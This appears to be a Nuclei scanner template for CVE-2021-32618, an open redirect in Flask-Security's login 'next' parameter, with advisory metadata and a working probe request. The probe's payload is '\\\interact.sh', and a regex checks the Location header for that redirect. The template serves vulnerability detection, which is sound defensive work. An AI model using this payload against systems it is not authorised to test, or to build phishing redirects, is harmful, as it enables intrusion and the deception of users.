id: CVE-2021-32618

info:
  name: Python Flask-Security - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: Python Flask-Security contains an open redirect vulnerability. Existing code validates that the URL specified in the next parameter is either relative or has the same network location as the requesting URL. Certain browsers accept and fill in the blanks of possibly incomplete or malformed URLs. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can craft a malicious URL that redirects users to a malicious website, leading to potential phishing attacks or the exploitation of other vulnerabilities.
  remediation: |
    Upgrade to the latest version of Python Flask-Security library to fix the open redirect vulnerability.
  reference:
    - https://github.com/Flask-Middleware/flask-security/security/advisories/GHSA-6qmf-fj6m-686c
    - https://github.com/Flask-Middleware/flask-security/issues/486
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32618
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-32618
    cwe-id: CWE-601
    epss-score: 0.17067
    epss-percentile: 0.95083
    cpe: cpe:2.3:a:flask-security_project:flask-security:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: flask-security_project
    product: flask-security
  tags: cve2021,cve,redirect,flask,flask-security_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/login?next=\\\interact.sh'

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 490a0046304402203111c830467e1a330ddfecf3e1091ba0c3079f1187a11ba98e733043912d9bb902206261ff026b7b0f2c8838c38bc78ce402914500e42697795b2828f501e18fbab7:922c64590222798bb761d5b6d8e72950